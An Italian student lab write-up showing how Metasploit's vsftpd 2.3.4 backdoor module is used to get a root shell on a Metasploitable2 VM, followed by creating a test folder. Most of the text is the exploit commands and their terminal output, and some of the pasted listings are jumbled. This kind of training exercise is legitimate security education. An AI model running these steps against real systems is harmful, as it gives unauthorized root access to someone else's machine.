

ESERCIZIO S7L1

Traccia: Partendo dall'esercizio visto nella lezione di oggi, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica). L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: 192.168.1.149/24.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test_metasploit.

SVOLGIMENTO

Inizialmente, come richiesto dalla traccia, si imposta un indirizzo IP diverso per la macchina Metasploitable2 in modo da avere Kali e Meta su due reti diverse.

```
# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet dhcp
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
```

Una volta settato questo si apre Pfsense, che ci permette di far comunicare le due macchine, e quindi funge da router gateway.

```
kali@kali: ~
File Actions Edit View Help
(kali@kali)-[~]
$
(kali@kali)-[~]
$
(kali@kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=63 time=1.40 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=63 time=0.888 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=63 time=0.744 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=63 time=0.777 ms
64 bytes from 192.168.1.149: icmp_seq=5 ttl=63 time=0.870 ms
64 bytes from 192.168.1.149: icmp_seq=6 ttl=63 time=1.06 ms
^C64 bytes from 192.168.1.149: icmp_seq=7 ttl=63 time=0.940 ms
64 bytes from 192.168.1.149: icmp_seq=8 ttl=63 time=0.751 ms
64 bytes from 192.168.1.149: icmp_seq=9 ttl=63 time=0.446 ms
^C
— 192.168.1.149 ping statistics —
9 packets transmitted, 9 received, 0% packet loss, time 8068ms
rtt min/avg/max/mdev = 0.446/0.875/1.404/0.246 ms

(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.50.100 netmask 255.255.255.0 broadcast 192.168.50.255
    inet6 fe80::a00:27ff:fe1e:364a prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:1e:36:4a txqueuelen 1000 (Ethernet)
    RX packets 1274 bytes 84142 (82.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1331 bytes 109164 (106.6 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 899 bytes 93080 (90.8 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 899 bytes 93080 (90.8 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali)-[~]
$
```

```
inet addr:192.168.1.149 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe76:1af6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:17 errors:0 dropped:0 overruns:0 frame:0
TX packets:88 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1088 (1.0 KB) TX bytes:9754 (9.5 KB)
Base address:0xd020 Memory:f0200000-f0220000

lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:237 errors:0 dropped:0 overruns:0 frame:0
TX packets:237 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:67673 (66.0 KB) TX bytes:67673 (66.0 KB)

msfadmin@metasploitable:~$ ping 192.168.50.100
PING 192.168.50.100 (192.168.50.100) 56(84) bytes of data.
--- 192.168.50.100 ping statistics ---
11 packets transmitted, 0 received, 100% packet loss, time 10006ms

msfadmin@metasploitable:~$
```

```
Pfsense [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
7) Ping host
99) Install pfSense to a hard drive, etc.
Enter an option:

FreeBSD/i386 (pfSense.localdomain) (ttyv0)

*** Welcome to pfSense 2.0-RC3-cdrom (i386) on pfSense ***

WAN (wan) -> em0 -> 10.0.2.15 (DHCP)
LAN (lan) -> em1 -> 192.168.50.1
OPT1 (opt1) -> em2 -> 192.168.1.1

0) Logout (SSH only) 8) Shell
1) Assign Interfaces 9) pftop
2) Set interface(s) IP address 10) Filter Logs
3) Reset webConfigurator password 11) Restart webConfigurator
4) Reset to factory defaults 12) pfSense Developer Shell
5) Reboot system 13) Upgrade from console
6) Halt system 14) Enable Secure Shell (sshd)
7) Ping host
99) Install pfSense to a hard drive, etc.
Enter an option: 
```

Dalla macchina Kali proviamo a pingare Meta per vedere se la connessione tra le due macchine è attiva.

```
(kali@kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=63 time=1.40 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=63 time=0.888 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=63 time=0.744 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=63 time=0.777 ms
64 bytes from 192.168.1.149: icmp_seq=5 ttl=63 time=0.870 ms
64 bytes from 192.168.1.149: icmp_seq=6 ttl=63 time=1.06 ms
^C64 bytes from 192.168.1.149: icmp_seq=7 ttl=63 time=0.940 ms
64 bytes from 192.168.1.149: icmp_seq=8 ttl=63 time=0.751 ms
64 bytes from 192.168.1.149: icmp_seq=9 ttl=63 time=0.446 ms
^C
— 192.168.1.149 ping statistics —
9 packets transmitted, 9 received, 0% packet loss, time 8068ms
rtt min/avg/max/mdev = 0.446/0.875/1.404/0.246 ms
```

Come prima cosa si è dato dal terminale di Kali il comando **msfconsole**, che aprirà appunto la console Msfconsole, una interfaccia messa a disposizione da Metasploit. Metasploit è una piattaforma utilizzata per sviluppare, testare e utilizzare exploit su vulnerabilità conosciute in vari software e sistemi.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result
of hosts and services
```

Metasploit contiene codice di Exploit e Payload ed altre funzionalità che sono contenute nei moduli di Metasploit. Ogni modulo mette a disposizione un vettore di attacco diverso. È possibile cercare un modulo utilizzando il comando **search**; in questo caso si cerca il modulo vsftpd con il comando **search vsftpd**, che sfrutta una vulnerabilità nel server FTP.

```
msf6 > search vsftpd
Matching Modules
=====
#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232            2011-02-03      normal   Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Dopo aver individuato e scelto l'exploit da utilizzare, lo si abilita con il comando **use** seguito dal percorso (PATH) dell'exploit. In alternativa al percorso si può inserire nel comando anche il numero identificativo: in questo caso il PATH **/unix/ftp/msftpd_234_backdoor** è stato sostituito dal numero identificativo **1**.

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Come si nota nell'immagine, il prompt dei comandi di MSFConsole cambia quando viene selezionato un Exploit. Questo comportamento è dovuto al fatto che Metasploit usa una gerarchia «tipo file system» per salvare i vari exploit, payload e moduli ausiliari. Dopo aver caricato un exploit, si possono avere delle informazioni al riguardo attraverso il comando **info** o **show options**. Questo comando permette di avere informazioni sui target disponibili e le opzioni di configurazione. Si nota come ci siano alcuni parametri da settare obbligatoriamente, come l'indirizzo IP della macchina target: con il comando **set RHOSTS** si setta l'indirizzo IP di Meta.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies     Proxies            no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS      RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  ---      -
  PAYLOAD    PAYLOAD          no        The payload to execute

Exploit target:
  Id  Name
  --  -
  0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
```

Ora, per poter utilizzare un exploit serve un payload. Nel contesto di Metasploit e degli exploit informatici, il payload è spesso una parte chiave del processo di hacking, in quanto consente di prendere il controllo del sistema bersaglio o di eseguire azioni specifiche una volta che una vulnerabilità è stata sfruttata con successo.

Con il comando **show payloads** vengono mostrati tutti i payload disponibili, in particolare se si da questo comando dopo aver già settato un modulo si otterrà in output solamente i payload che possono funzionare per quel determinato modulo specifico.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
  #  Name      Disclosure Date  Rank  Check  Description
  --  -
  0  payload/cmd/unix/interact  normal  No  Unix Command, Interact with Established Connection
```

Con il comando **set payload nome_payload** si imposta un determinato payload.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
```

Dopo aver scelto exploit e payload ed aver configurato le opzioni per entrambi, bisogna lanciare l'attacco. Con il comando **exploit** viene lanciato l'attacco e successivamente viene lanciato il payload.

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:41349 → 192.168.1.149:6200) at 2024-05-20 14:23:09 +0200

Warning: Never expose this VM to an untrusted network!
pwd
/
ntact: msfdev[at]metasploit.com
ls
bin  with msfadmin/msfadmin to get started
boot
cdrom
dev
etc  TWiki
home phpMyAdmin
initrd Mutillidae
initrd.img DVWA
lib  WebDAV
lost+found AV
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

```

Se l'attacco è riuscito, ci si ritrova con un prompt dei comandi che rappresenta la riuscita della sessione. Dando alcuni comandi base come **ls** e **ifconfig** ci si rende conto della riuscita dell'attacco per via dell'indirizzo Ip ottenuto dal comando ifconfig.

```

mkdir test_metasploit
ls
bin  Mutillidae
boot DVWA
cdrom WebDAV
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz

```

```

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:76:1a:f6
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe76:1af6/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:61 errors:0 dropped:0 overruns:0 frame:0
          TX packets:157 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5176 (5.0 KB)  TX bytes:20433 (19.9 KB)
          Base address:0xd020  Memory:f0200000-f0220000

Warning: No network card found!

Contact: no

Login with msfadmin/msfadmin to get started.

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:657 errors:0 dropped:0 overruns:0 frame:0
          TX packets:657 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:273913 (267.4 KB)  TX bytes:273913 (267.4 KB)

```

Come richiesto dall'esercizio, si crea una cartella di nome test_metasploit sulla macchina Metasploitable dalla backdoor aperta con Kali usando il comando **mkdir test_metasploit**.

```
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Da terminale di Metasploitable, si verifica la creazione della cartella 'test_metasploit'. Questa è la conferma dell'avvenuto successo dell'attacco.

```
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/$ ls
bin    dev    initrd  lost+found  nohup.out  root  sys  var
boot   etc    initrd.img  media      opt        sbin  tmp  vmlinuz
cdrom  home   lib      mnt        proc       srv   usr
msfadmin@metasploitable:/$
msfadmin@metasploitable:/$ ls
bin    dev    initrd  lost+found  nohup.out  root  sys  test_metasploit  usr
boot   etc    initrd.img  media      opt        sbin  tmp  test_metasploit  var
cdrom  home   lib      mnt        proc       srv   tmp  test_metasploit  vmlinuz
msfadmin@metasploitable:/$
```